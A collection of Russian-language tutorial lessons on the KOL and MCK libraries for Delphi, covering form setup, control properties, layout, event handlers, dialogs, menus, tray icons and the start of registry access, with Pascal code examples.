Создайте новый VCL проект. Охраните его. (*.pas файлу дайте осмысленное имя; *.dpr можно назвать как хотите) Перейдите к закладке KOL Нанесите компонент KOLProject Статьи по Delphi (011)… на форму Измените через инспекторе обьектов (Object Inspector) свойство ProjectDest. Введите настоящее имя проекта. Например TestMCK. Нанесите компонент KOLForm на форму. Измените через инспекторе объектов (Object Inspector) свойство formName. Введите имя формы. Сохраните изменения в проекте (File - Save All). Откройте созданный проект (Ctrl-F11). В нашем случае TestMCK.dpr. Запустите проект F9.

Все... :) Несмотря на то что я расписал 10 шагов фактически делается 4 клика и изменяются 2 параметра. Результат: пустая форма. Не удивительно что во второй раз эти действия выполняются на автомате.

Добавление новой формы в проект.

Что бы добавить в проект новое окно надо:

Создать новую форму (File - New Form) Бросить на форму KOLForm Измените через инспекторе объектов (Object Inspector) свойство formName. Введите имя формы. Сохраните изменения в проекте (File - Save All). Перейдите в опции проекта (Project - Options...) В закладке Forms укажите что бы форма создаваться не автоматически.

Если вы не сделаете 5 и 6 шаг окно будет создаватся и показыватся при запуске. Что довольно удобно когда вы занимаетесь его дизайном. Для вызова формы достаточно добавить код:

NewИмя_формы(Имя_формы,Applet ); // создаем окно Имя_формы.Form.ShowModal; // показываем в модальном режиме Имя_формы.Form.Free; // удаляем от греха подальше :).

Если вы не поняли что такое NеwИмя_формы смотрите pas файл для этой формы.

Несколько нюансов:

Для того чтобы добавить в левый верхний угол иконку надо поставить у KOLProject свойство dprResorce равным True. После чего можете менять иконку как в обычном VCL проекте.

MCK является "оберткой" над KOL и проект "генерит" привычные по прошлым урокам конструкторы в файлы с расширением *.inc. Если во время разработки генерация не была произведена автоматически, перейдите к KOLProject и поменяйте свойство BUILD на true. True он все равно не станет, но проект построится заново :).

Обращение к свойствам формы происходит через FORM: Имя_формы.Form.Свойство := ... Имя_формы - это formName Например. Изменение заголовка у формы под именем Main: Main.Form.Caption := 'Заголовок';

Для того что бы завершить работу программы надо также как и в обычном KOL написать: Applet.Close;

Всю остальную информацию можно почерпнуть в файле KOLmirrorReadme.rus. Благодаря этому файлу данный разговор получился столь сжатым :).

Все дальнейшие уроки будут посвящены MCK.

Урок 15 - Описание свойств TKOLForm.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

TKOLForm Ниже приведена таблица с описанием большинство свойств которые вы сможете увидеть в инспекторе задачи при выделение объектов TKOLForm.

Свойство Описание
AlphaBlend Прозрачность окна. Принимает значение от 0 до 250. Работает только в Windows XP.
Border Размер бордюра окна. Расстояние между краем окна и объектами интерфейса лежащими на нем.
BorderStyle Стиль окна. Полный аналог VCL.
Bounds Указывает на размер окна и его положение.
Brush Параметры кисти. Можно указать фоновый рисунок или цвет формы.
CanResize Разрешает(true) или запрещает(false) менять размеры окна.
Caption Заголовок окна.
CenterOnScreen Указывает что окно при появление будет находится посредине экрана.
CloseIcon Указывает будет ли у окна кнопка закрытия (в верхнем правом углу)
Color Цвет окна
Cursor Курсор окна
Font Шрифт формы
FormMain Указывает что форма главная.
FormName Указывается имя формы которое используется в коде при обращение к ней.
FormUnit Указывает модуль в котором находится код для данного окна.
HasBordur Указывает будет ли бордюр у окна
HasCaption Указывает будет ли заголовок у окна
HelpContext Идентификатор экрана контекстно-зависимой справки
MarginBottom Указывает отступ снизу от края окна до объектов интерфейса на форме.
MarginLeft Указывает отступ слева от края окна до объектов интерфейса на форме.
MarginRight Указывает отступ справа от края окна до объектов интерфейса на форме.
MarginTop Указывает отступ сверху от края окна до объектов интерфейса на форме.
MaxHeight Максимальная высота формы на которую можно ее развернуть.
maximizeIcon Указывает будет ли у окна кнопка "Свернуть в окно/Развернуть" (в верхнем правом углу)
MaxWidth Максимальная ширина формы на которую можно ее развернуть.
MinHeight Минимальная высота формы на которую можно ее уменьшить.
minimizeIcon Указывает будет ли у окна кнопка "свернуть" (в верхнем правом углу)
MinWidth Минимальная ширина формы на которую можно ее уменьшить.
popupMenu Контекстное меню (PopupMenu) для формы.
StatusSizeGrip Если true то у StаtusВаr'а будет справа "ярлычок" для изменения размера формы.
SatusText Текст в StаtusВаr'е (панели состояния).
StayOnTop Окно всегда находится сверху
TabulateEx Разрешает переход фокуса по нажатию клавиш TAB или SHIFT+TAB
WindowsState Указывает какой должна быть форма во время запуска (минимизированной, распахнутой, как во время создания)

Урок 16 - TKOLListView.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Статьи по Delphi (011)…TKOLListView Как и следует из названия это аналог TListView из VCL. Может быть 5-ти видов. За это отвечает свойство LVStyle (на панели задач Style).

lvsIcon Список в виде больших иконок и надписей снизу.
lvsSmallIcon Список в виде маленьких иконок и надписей снизу.
lvsList Обычный списко. Если есть иконки то они слева.
lvsDetai Таблица с заголовком сверху.
lvsDetailNoHeader Таблица без заголовка.

Для того что бы указать иконку надо бросить на форму TKOLImageList Статьи по Delphi (011)…. Два раза кликнуть по нему и указать нужное изображение. Затем надо указать этот ImageList у TKOLListView изменить свойства ImageListNormal, ImageListSmall или ImageListSate.

Предположим что у нас есть гипотетический ListView (объект класса TKOLListView) Для того что бы добавить пункт в список надо обратится к LVItemAdd.

ListView.LVItemAdd('Значение')

Но если у вашего ListView установлен стиль lvsDetai то через LVItemAdd вы сможете добавить текст только в первый столбец. Для того что бы добавить данные в остальные столбцы обратитесь к LVItems.

ListView.LVItems[i, j] := 'значение';

I - строка j - столбец i и j нумеруется с нуля. Разумеется перед тем как обращаться к этому j-му столбцу неплохо бы его создать. Для этого надо обратится к свойсву Columns или просто щелкнуть по объекту два раза. Появится диалог в котором все и настраивается.

Для того что бы узнать номер пункта выбранного пользователем надо обратится к CurIndex. А зная его вы сможите узнать и текст который написан в этом пункте:

ListView.LVItems[ListView.CurIndex, 0];

(если у вас стиль lvsDetai то 0 должен меняться на соответствующий номер столбца).

У TKOLListView есть свойство Options через которое указываются различные параметры для его настройки. Самые интересные (по моему мнению) ниже в таблице.

lvoAutoArrange Автоматически располагает иконки по всей поверхности ListView при изменение его размера (при Style =lvsIcon).
lvoEditLabel Можно редактировать надпись в списке
lvoHideSel Не один пункт нельзя выделить
lvoGridLines В режиме lvsDetai показываются разделительные линии таблицы.
lvoCheckBoxes Добавляет к каждому пункту флажок.
lvoRowSelect В режиме lvsDetai выделяется вся строка в таблице (а не только первая ячейка).
lvoMultiselect Есть возможность выделять несколько пунктов

Пару слов про lvoCheckBoxes. Благодяры ему вы сможете с легкостью сделать из TKOLListView аналог VCL TCheckListBox. Для того чтобы проверить установлен ли флажок на определенном пункте(или установить его) надо обратится к LVItemStateImgIdx.

ListView.LVItemStateImgIdx[i] := j

J - может принимать два значения: 1 - нет галочки ; 2 - галочка установлена. i - это номер пункта. Если i равно -1 тогда идет обращение ко всем пунктам.

Таким образом для того что бы снять все галочки надо написать следующую строку:

ListView.LVItemStateImgIdx[-1] := 1

К сожелению если вам надо например проверить выделены ли все пункты в списке то строка.

if ListView.LVItemStateImgIdx[-1] = 1 then...

Результата не даст. Тут надо переберать все пункты. Для того чтобы узнать количество пунктов надо обратится к LVCount. Если у вас стиль равен lvsDetai то количество столбцов узнается через LVColCount.

Если у вас в опциях присутствует lvoMultiselect вы сможете выделить несколько пунктов. Для того чтобы узнать номера первого выделенного пункта нам надо обратится к CurIndex. После чего обращаясь к LVNextSelected можно перебрать все пункты. Если больше нет выделенных пунктов LVNextSelected возвращает -1. Пример перебора:

var
  i, j: Integer;
begin
  i := ListView.LVCurItem;
  if ListView.LVSelCount > 0 then
  repeat
    MsgOK('Выделеный пункт №' + Int2Str(i));
    j := ListView.LVNextSelected(i);
    i := j;
  until j < 0;
 ...

LVSelCount - количество выделенных пунктов.

Краткая справка по свойствам TKOLListView.

LVItemAdd Добавить запись
LVItems Обратится к записи
CurIndex Номер выделено записи
LVItemStateImgIdx Проверка флажка
LVCount Количество записей
LVColCount Количество столбцов при стиле lvsDetai
LVNextSelected Следующий выделенный пункт
LVSelCount количество выделенных пунктов.

Урок 2 - Наша первая кнопка или основные элементы интерфейса.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

У многих визуальных объектов существуют следующие параметры в конструкторе: AParameter - родительский объект контрола Сарtiоn - надпись на объекте. Их мы описывать не будем :-] Если говорить про свойства, то тут еще проще. Большинство этих объектов имеют такие же свойства, как и их братья из VCL.

Button

Кнопка она и в Африке кнопка :). Аналог TButton в VCL.

function NewButton( AParent: PControl; const Caption: String):PControl;

Параметр Style может иметь следующие флаги:

Флаг Описание
bs_center центрирует текст кнопки
bs_left помещает текст кнопки в левой части ограничивающего прямоугольника
bs_right помещает текст кнопки в правой части ограничивающего прямоугольника
bs_top помещает текст кнопки в верхней части ограничивающего прямоугольника
bs_vcenter помещает текст кнопки в центральной (по вертикали) части ограничивающего прямоугольника
bs_multiline приносит текст на другую строчку, если он не помещается на кнопке в ширину

Несколько свойств позволяющих обойтись без жонглирования стилями.

LikeSpeedButton - кнопка становится по свойствам похожа на TSpeedButton из VCL.

Свойство TextAlign: TTextAlign - указывает расположение текста на кнопке. Может принимать следующие значения :
type
  TTextAlign =( taLeft, taRight, taCenter );

По умолчанию taCenter.

BitBtn.

Кнопка не принимающая фокуса (почти полный аналог VCL SpeedButton).

function NewBitBtn(AParent: PControl; const Caption: String; Options: TBitBtnOptions;
Layout: TGlyphLayout; GlyphBitmap: HBitmap; GlyphCount: Integer ): PControl; 

Options:

bboImageList - используется ImageList bboNoBorder - без всякой окантовки bboNoCaption - кнопка без надписи bboFixed - фиксированное положение

Layout отвечает за то где будет находится рисунок на кнопке:

glyphLeft - слева glyphTop - сверху glyphRight - справа glyphBottom - снизу glyphOver - посередине

Panel.

Аналог контрола TPanel из Delphi. На него (как и на форму), можно "насаживать" другие визуальные элементы.

function NewPanel(AParent: PControl; EdgeStyle: TEdgeStyle): PControl;

EdgeStyle - стиль панели. Может иметь следующие значения:

esRaised - Обычная панель. Вогнутая наружу ( как на рисунке). esLowered - Вогнута внутрь esNone - Контуры панели никак не показываются

GroupBox.

NewGroup ,как можно догадаться и по названию, аналог Delphi-компонента TNewGroup. GroupBox является родительским объектом, также как и Panel.

function NewGroupbox(AParent: PControl; const: String): PControl;

Label.

Пару слов про объекты, функции которых в Delphi выполняет класс TLabel. В KOL 2 обьекта- это Label и WordWrapLabel. Чем они отличаются друг от друга ? В отличие от Label , WordWrapLabel производит перенос текста,написанного на нем, на другую строку. В общем это все отличие.

function NewLabel(AParent: PControl; const Caption: String): PControl;
function NewWordWrapLabel( AParent: PControl; const Caption: String ): PControl;

CheckBox и RadioBox.

RadioBox CheckBox.

Аналоги VCL-классов TCheckBox и TRadioBox. Проверка, выбран ли этот компонент, также осуществляется через свойство Checked.

function NewCheckbox(AParent: PControl; const Caption: String ): PControl;
function NewRadiobox(AParent: PControl; const Caption: String ): PControl;

EditBox.

Аналог TEdit. Для того, чтобы получить текст введенный пользователем, надо обратится к свойству Text.

function NewEditbox(AParent: PControl; Options: TEditOptions ): PControl;

Параметр Options может состоять из следующих значений:

eoNoHScroll - нет горизонтальной прокрутки eoNoVScroll - нет вертикальной прокрутки eoLowerCase - строчные (маленькие) буквы eoMultiline - многострочный eoNoHideSel - выбранный текст подсвечивается, даже если поле не имеет фокуса eoOemConvert - eoPassword - все вводимые символы отображаются при помощи одного символа. По умолчанию этим символом служит звездочка eoReadOnly - только для чтения eoUpperCase - прописные (большие) буквы eoWantReturn - заставляет Windows переводить строку, когда пользователь нажимает «Enter» eoWantTab - перевод фокуса когда пользователь нажимает «Tab»

RichEdit.

Предназначен для редактирования многострочного текста.

function NewRichEdit(AParent: PControl; Options: TEditOptions): PControl;

Параметры Options аналогичны EditBox.

Чтобы загрузить текст используйте функцию:

function RE_LoadFromFile( const Filename: String; Format: TRETextFormat; 
        		        SelectionOnly: Boolean ): Boolean;

Сохранить:

function RE_SaveToFile( const Filename: String; Format: TRETextFormat; 
		      SelectionOnly: Boolean ): Boolean;
Filename - путь до файла Format - формат текста:

ReRTF - нормальный RTF reText - только текст (без OLE обектов) reTextized - простой текст с объектами OLE rePlainRTF - reRTF без языковых-специфических ключевых слов reRTFNoObjs - reRTF без объектов OLE rePlainRTFNoObjs - rePlainRTF без объектов OLE.

ListBox.

Аналог TListBox из VCL. Свойства в общем то те же (почти :-) .

function NewListbox(AParent: PControl; Options: TListOptions ): PControl;

Параметр Options может состоять из следующих значений :

loNoHideScroll - добавляет прокрутку вверх-вниз loNoExtendSel - выделяет сразу первый пункт loMultiColumn - loMultiSelect - автоматическое выделять несколько строк loNoIntegralHeight - loNoSel - нет выделения строк (только "окантовка") loSort - список сортируется loTabStops - не реагирует на Tab

Некоторые свойства:

Свойство Описание
Items[idx:index]:string Обращение к строке под индексом idx
CurIndex :integer Индекс текущей строки
Count :integer Всего строк
Add(s:string):integer Добавляет в список строку
Insert(idx:integer;s:string) Вставка в список в позицию idx строки s
Delete(idx:integer) Удаление строки с индексом idx
Clear Очистка списка

ComboBox.

ComboBox

Аналог TComboBox.

function NewCombobox(AParent: PControl; Options: TComboOptions): PControl;

Options могут быть следующие:

coReadOnly - только для чтения coNoHScroll - текст не прокручивается по горизонтали coAlwaysVScroll - при "выпадении", комбобокс всегда имеет вертикальную прокрутку coLowerCase - маленькими буквами coNoIntegralHeight - coOemConvert - coSort - список сортируется coUpperCase -заглавные буквы

Многие свойства схожи со свойствами ListBox.

ProgressBar.

Аналог TProgressBar из VCL.

function NewProgressbar(AParent: PControl): PControl;
function NewProgressbarEx(AParent: PControl; Options: TProgressbarOptions): PControl;

NewProgressBarEx -это расширенный прогрессбар. Его Options могут принимать следующие значения:

pboVertical - Полоска бежит не слева на права, а снизу в верх pboSmooth - Полоска не в виде квадратиков, а сплошной линией

Основные свойства этих элементов: MaxProgress - максимальный диапазон "бегунка" Progress - текущее положение.

Урок 3 - Чтоб все было опрятно или расположение обьектов на форме.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Обсудим свойства отвечающие за расположение объектов на форме.

Свойства Width и Height отвечают за длину и высоту соответственно. Если вам надо поменять одновременно длину и высоту можно воспользоваться SetSize(w,h:integer). Бывают случаи, что объект может выходить за пределы своего родительского объекта, тогда можно воспользоваться свойством Size(w,h:integer). Оно устанавливает размер родительского объекта, таким же, как и самого объекта. Например:

var
  Form, Button: PControl;
begin
   Form  := NewForm(Applet, 'Пример');
   Button := NewButton(form, 'Кнопка').Size (120, 50);
   Run(Form);
end.

Приведет к следующему результату.

Статьи по Delphi (011)…

CenterOnParent - размещает объект посередине родительского. Для изменения размера родительского объекта по контуру объекта, применяют также свойства ResizeParent (по правой и нижней стороне объекта), ResizeParentRight (по правой стороне), ResizeParentBottom (по нижней).

Таким образом REdit.Size(120,50) имеет такой же результат как совместное действие строк: REdit.SetSize(120,50) ; REdit.ResizeParent;

В VCL у некоторых объектов есть свойство Align. Его аналоги в KOL это Align:TControlAlign и SetAlign(AAlign:TControlAlign). TControlAlign может принимать следующие значения: caNone, caLeft, caTop, caRight, caBottom, caClient

В KOL также есть группа свойств, которые описывают положение объекта относительно объекта который был создан первым. PlaceRight (справа относительно первого), PlaceDown (снизу), PlaceUnder (абсолютно под первым объектом) На рис.1 (PlaceDown) и рис.2 (PlaceUnder) показана разница между этими свойствами:

var
  Form, cont, cont1: PControl;
...
form := NewForm(Applet,'Пример');
form.SetSize(130, 140);
cont := NewPanel(form, esRaised).Shift(20, 0).SetSize(50, 50);
cont1 := NewPanel(form, esRaised).SetSize(50, 50);
cont1.PlaceDown; // на этом месте может быть и cont1.PlaceUnder
Статьи по Delphi (011)… Статьи по Delphi (011)…
рис.1(PlaceDown) рис.2(PlaceUnder)

Перемещать объект на форме можно обращаясь к свойствам Left и Top (отступ от левого - верхнего угла в лево и вниз соответственно). Чтобы изменить одновременно эти свойства, надо воспользоваться свойством Shift(dX,dY:integer).

И так подведем итог:

Свойство Описание
SetSize или Size устанавливает длину и высоту объекта
ResizeParent Изменение размера родительского объекта относительно объекта
ResizeParentRight Изменение размера родительского объекта относительно объекта по вертикали
ResizeParentBottom Изменение размера родительского объекта относительно объекта по горизонтали
CenterOnParent Размещение объекта посредине родительского объекта
Align и SetAlign "Разлив" (выравнивание) объекта относительно родительского
Shift устанавливают положение объекта на форме
PlaceRight справа - положение объекта относительно созданного первым .
PlaceDown и PlaceUnder снизу - положение объекта относительно созданного первым .

Урок 4 - Hello World или Обработка событий в KOL.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Конечно кнопки и панели на форме - это хорошо, но они должны реагировать на действия совершаемые пользователем. Этим мы и займемся. Смысл "обработки" действий такой же как и в VCL. К определенному действию над объектом, "привязывают" процедуры, которые и совершают полезную работу. Привязка идет через свойства, названия которых начинаются на OnXXXXXX: OnClick,OnResize,OnMouseDblClk,OnClose... Это довольно привычно.

Через эти свойства вы и должны сделать указатель с помощью функции MakeMethod на процедуру (или функцию если дело касается Message), которая будет обрабатывать событие. В параметрах у процедур должны быть определенные данные. В таблице показаны, какие должны быть заголовки процедур при определенных типах событий (конечно здесь описаны не все события).

Тип события Пример заголовка процедуры, обрабатывающего это событие
TOnEvent Procedure NameProc ( Dummy : Pointer; Sender : PControl );
TOnEventAccept Procedure NameProc ( Sender: PObj; var Accept: Boolean );
TOnMouse Procedure NameProc( Sender: PControl; var Mouse: TMouseEventData );
TOnKey Procedure NameProc( Sender: PControl; var Key: Longint; Shift: DWORD );
TOnChar Procedure NameProc( Sender: PControl; var Key: Char; Shift: DWORD );
TOnMenuItem Procedure NameProc( Sender : PMenu; Item : Integer );
TOnMessage Function NameFunc( var Msg: TMsg; var Rslt: Integer ): Boolean;

Например:

procedure ButtonDn( Sender: PControl; var Mouse: TMouseEventData );
begin
// обработка
end;
...
Button := NewButton(Form, 'Кнопка');
// указываем на процедуру ButtonDn обрабатывающую событие OnMouseDown
// имеющее тип TOnMouse:
Button.OnMouseDown := TOnMouse( MakeMethod( nil, @ButtonDn ) );

Исходя из полученных знаний, давайте напишем программу, выводящую сообщение ( например: Hello World !!! ) при каком нибудь действии.

procedure ClikButton( Dummy : Pointer; Sender: PControl );
begin
 MsgOK( 'Hello World!!!' );
end;
var
  form, button: PControl;
begin
  form := NewForm( Applet, 'Пример' );
  button := NewButton( form, 'Hello !!!' ).Size(150, 50);
  button.OnClick := TOnEvent(MakeMethod( nil, @ClikButton ));
  run(form);
end.
Процедура MsgOk - это аналог VCL процедуры ShowMessage.

Урок 5 - Стандартные диалоги.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

В основе диалогов лежат совсем другие объекты, чем PControl (для каждого свой). KOL предлагает для работы 3 вида диалога.

Обьект Диалог
POpenSaveDialog открыть или сохранить файл
POpenDirDialog выбрать директорию
PColorDialog выбрать цвет.

Их конструкторы:

NewOpenSaveDialog( const Title, StrtDir: String; Options: TOpenSaveOptions ): POpenSaveDialog;

Title - заголовок диалога StrDir - начальная директория для работы.

В Options может быть следующее:

OSCreatePrompt - При выборе имени не существующего файла панель запросит, нужно ли создать файл. OSExtensionDiffent - OSFileMustExist - Предупреждать при вводе имени не существующего файла. OSHideReadonly - Скрыть кнопку "Только чтение" OSNoChangedir - Поиск файлов начинать в первоначально заданном каталоге OSNoReferenceLinks - OSAllowMultiSelect - OSNoNetworkButton - Скрыть и отключить кнопку Network OSNoReadonlyReturn - Запретить выбор файла с атрибутом "только чтение" и в защищенном от записи каталоге OSOverwritePrompt - При сохранении файла предупреждать, если файл с указанным именем уже существует OSPathMustExist -Можно вводить только существующее полное имя файла OSReadonly - Включить кнопку "Только чтение"

Для диалога открытия файла (Open File), надо свойство OpenDialog установить в true, и соответственно для диалога сохранения файла OpenDialog := false. В остальном, этот диалог идентичен своему VCL аналогу.

NewOpenDirDialog( const Title: String; Options: TOpenDirOptions ): POpenDirDialog;

Title - заголовок диалога.

В Options может быть следующее:

odBrowseForComputer - odBrowseForPrinter - odDontGoBelowDomain - odOnlyFileSystemAncestors - odOnlySystemDirs - odStatusText

Выбранный путь можно узнать через свойство Path.

NewColorDialog( FullOpen: TColorCustomOption ): PColorDialog;

В FullOpen следующее:

ccoFullOpen - кроме базовой палитры показывается и дополнительная ccoShortOpen - сначала показывается только базовая палитра но доступна и дополнительная ccoPreventFullOpen - доступна только базовая палитра цветов

Пример: небольшой и мало функциональный, но текстовый редактор ;-).

program Primer;
uses
  Windows,
  messages,
  KOL;
{$R *.RES}
var
  form,
  PanTools,
  REdit,
  butOpen,
  butSave : PControl;
procedure clikButOpenSave(Dummy : Pointer; Sender : PControl);
var
  Dialog : POpenSaveDialog;
  title : string;
begin
  if sender = butOpen then  //определяем что за кнопка 
  begin
    Dialog.title := 'Открыть';
    Dialog.OpenDialog := TRUE;
    REdit.Clear;
  end
  else
  begin
    Dialog.title := 'Сохранить как...';
    Dialog.OpenDialog := FALSE;
  end;
  if Dialog.Execute then
  if sender = butOpen then
    REdit.RE_LoadFromFile(Dialog.Filename, reText, false)
  else
    REdit.RE_SaveToFile(Dialog.Filename, reText,false);
    form.StatusText[0] := PChar(Dialog.Filename);
end;
begin
  form := NewForm(Applet, 'Редактор');
  Dialog := NewOpenSaveDialog(title, '',[]) ;
  panTools := NewPanel(form, esRaised).SetAlign(caTop);
  panTools.Height := 35;
  REdit := NewRichEdit(form, []).SetAlign(caClient);
  butOpen := NewButton(panTools, 'Open').SetSize(50, 25);
  butSave := NewButton(panTools, 'Save as').SetSize(60, 25).PlaceRight;
  butOpen.OnClick := TOnEvent(MakeMethod(nil, @clikButOpenSave));
  butSave.OnClick := TOnEvent(MakeMethod(nil, @clikButOpenSave));
  run( form );
end.
На экране результат будет примерно следующий:

Статьи по Delphi (011)…

Урок 6 - Меню - как много в этом слове.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Почти в любой программе есть меню. И у нас оно тоже будет. Меню создается на объектах типа pMenu.

function NewMenu( AParent: PControl; FirstCmd: Integer; const Template: array of PChar; aOnMenuItem: TOnMenuItem ): PMenu;

В AParent вы указываете к чему будет принадлежать меню. Если вы указали форму, то для нее это будет главное меню.

Template - это массив, состоящий из пунктов меню. В этих пунктах могут встречаться специальные символы. Вот их список:

Символ Значение
& подчеркивает следующий символ
+ галочка в меню
- разделитель между пунктами меню
( начало подменю
) конец подменю

Через aOnMenuItem указывается процедура, обрабатывающая выбранный пункт меню.

Описание некоторых свойств меню.

Свойство Описание
ItemChecked[idx:integer]:boolean Ставит/убирает галочку на пункт меню с индексом idx
RadioCheck(idx:integer) Ставит радио-галочку на один из пунктов меню
Popup(x,y:integer); Вызывает меню на экран в позиции x,y
ItemText[idx:integer]:string Текст пункта меню с индексом idx
ItemEnabled[idx:integer]:boolean Включает/выключает пункт меню с индексом idx
ItemVisible[idx:integer]:boolean Показывать/не показывать пункт меню с индексом idx

Давайте добавим в наш редактор пару пунктов меню:

program Primer;
uses
 Windows,
 messages,
 KOL;
{$R *.RES}
var
  Form,
  PanTools,
  REdit,
  butOpen,
  butSave : PControl;
  mainMenu : pMenu;
  Dialog : pOpenSaveDialog;
procedure clikButOpenSave( Dummy : Pointer; Sender : PControl );
var
  title : string;
begin
  if sender = butOpen then
  begin
    Dialog.title := 'Открыть';
    Dialog.OpenDialog := TRUE;
    REdit.Clear;
  end
  else
  begin
    Dialog.title := 'Сохранить как...';
    Dialog.OpenDialog := FALSE;
  end;
  if Dialog.Execute then
  if sender = butOpen then
    REdit.RE_LoadFromFile(Dialog.Filename, reText, false)
  else
    REdit.RE_SaveToFile(Dialog.Filename, reText, false);
  form.StatusText[0] := PChar(Dialog.Filename);
end;
procedure ProcessingMenu ( Dummy : Pointer; Sender : pMenu; Item : Integer );
  //обработка пунктов меню
begin
  case Item of
    1: begin {NEW}
       REdit.Clear;
       form.StatusText[0] := '';
     end;
    2: clikButOpenSave(nil, butOpen); {Open}
    3: clikButOpenSave(nil, butSave); {Save As}
    4: Applet.Close; {Exit}
  end;{case}
end;
begin
  form := NewForm( Applet, 'Редактор' );
  panTools := NewPanel( Form, esRaised ).SetAlign( caTop );
  panTools.Height := 35 ;
  REdit := NewRichEdit( Form, [] ).SetAlign(caClient);
  butOpen := NewButton( panTools, 'Open' ).SetSize(50, 25);
  butSave := NewButton( panTools, 'Save as' ).SetSize(60, 25).PlaceRight;
  Dialog := NewOpenSaveDialog( '', '', [] );
  mainMenu := NewMenu(Form, 0,
    [
    'File',
    '(',
    'New',
    'Open',
    'Save As..',
    '-',
    '&Exit',
    ')'
    ],
    TOnMenuItem( MakeMethod( nil, @ProcessingMenu ))
    );
  butOpen.OnClick := TOnEvent( MakeMethod( nil, @clikButOpenSave ));
  butSave.OnClick := TOnEvent( MakeMethod( nil, @clikButOpenSave ));
  Run( Form );
end.

Результат:

Статьи по Delphi (011)…

Урок 7 - Программа в трее с легкостью.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Часто можно услышать вопрос : как сделать так, чтобы программа была видна и в трее (рядом с часами) ? Конечно и на VCL это возможно сделать, но в KOL это реализуется очень просто. Для этого у него есть объект TTrayIcon. Воспользовавшись им, вы получите маленькую программу (а не VCL-монстра) с иконкой в трее.

function NewTrayIcon( AParent: PControl; Icon: HIcon): PTrayIcon;

Icon - это иконка, которая будет у нас грузится из ресурса созданного например с помощь Image Editor, или BRCC32.EXE, ну или другой утилиты (я очень рекомендую Resource Builder). Скомпонованный файл с расширением .res помещаем в каталог с нашей программой. В тексте программы должно быть прописано, что программа компилируется вместе с ресурсами: {$R *.res} . Сама иконка грузится из ресурса через API ф-цию LoadIcon.

Function LoadIcon(Instance: THandle; IconName: PChar): HIcon; Загружает поименнованный ресурс пиктограммы. Параметры: Instance: Экземпляр модуля, исполнимый файл которого содержит пиктограмму или 0 для предопределенной пиктограммы. IconName: Строка или имя целочисленного идентификатора или предопределенная пиктограмма, определенная одной из констант idi_. Возвращаемое значение: В случае успешного завершения - идентификатор пиктограммы; 0 - в противном случае. Функция находится в файле user32.dll .

Также для значка в трее мы должны создать Applet. Совсем не обязательно чтобы этот Applet был родительским объектом окна.

Лучше тысячи слов может быть наглядней только пример. Напишем утилиту облегчающую программирование на KOL.

programm KOLProcedure;
uses
  Windows,
  Messages,
  Kol;
{$R *.RES}
var
  frmMain,
  Panel: pControl;
  Tray: pTrayIcon;
  Menu: pMenu;
//////////////////////////////////////////////////////////
procedure DoTrayMouse(Dummy: Pointer; Sender: TObject; Message: Word);
var
  P: TPoint;
begin
  if Message = WM_LBUTTONUP then
  begin
    GetCursorPos(P); // узнаем позицию курсора
    Menu.PopUp(P.X,P.Y); // выводим в этой позиции меню
  end;
end;
//////////////////////////////////////////////////////////
procedure DoWorkMenu(Dummy: Pointer; Sender: pMenu; Item: Integer);
begin
  case Item of
    0: Text2Clipboard('Procedure NameProc ( Dummy : Pointer; Sender: PControl );') ;
    1: Text2Clipboard('Procedure NameProc ( Sender: PObj; var Accept: Boolean );') ;
    2: Text2Clipboard('Procedure NameProc ( Sender: PControl; var Mouse: TMouseEventData );') ;
    3: Text2Clipboard('Procedure NameProc ( Sender: PControl; var Key: Longint; Shift: DWORD );') ;
    4: Text2Clipboard('Procedure NameProc ( Sender: PControl; var Key: Char; Shift: DWORD );') ;
    5: Text2Clipboard('Procedure NameProc ( Sender : PMenu; Item :Integer );') ;
    6: Text2Clipboard('Function NameFunc ( var Msg: TMsg; var Rslt:Integer ): Boolean;') ;
    7: Applet.Close;
    8: MsgOK('8');
  end; {case}
end;
//////////////////////////////////////////////////////////
begin
  Applet := NewApplet('KOL Procedure');
  frmMain := NewForm(nil, 'KOL Procedure');
  frmMain.Icon := LoadIcon(hInstance, 'MainIco');
  frmMain.Hide; // прячем главное окно
  Panel := NewPanel(frmMain, esNone);
  Menu := NewMenu(Panel, 0,
   [ 'TOnEvent',
     'TOnEventAccept',
     'TOnEventAccept',
     'TOnKey',
     'TOnChar',
     'TOnMenuItem',
     'TOnMessage',
     '-',
     'Exit' ],
    TOnMenuItem( MakeMethod( nil, @DoWorkMenu ))
    );
    Tray := NewTrayIcon(Panel, frmMain.Icon); // иконка в трее - аналог иконки на форме
    Tray.OnMouse := TOnTrayIconMouse( Makemethod( nil, @DoTrayMouse ));
    Run(frmMain);
   end.

Урок 8 - Работа с реестром.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Сейчас уже стало стандартом, что настройки программы, важные (да и не очень) параметры храняться в реестре Windows. По этой причине и в KOL существует поддержка работы с реестром. Нельзя сказать, что эти инструменты такие же мощные, как и TRegister в VCL, но необходимый минимум найдется.

Работа с регистром в KOL построена с помощью функций. Их список я привожу в таблице с кратким описанием (хотя человек знакомый с TRegister поймет их и так).

Функция Выполняемое действие
Функции для работы с ключами.
RegKeyOpenCreate. Создание ключа и его открытие.
Function RegKeyOpenCreate( Key: HKey; const SubKey: String ): HKey;
RegKeyOpenRead. Открытие ключа для чтения.
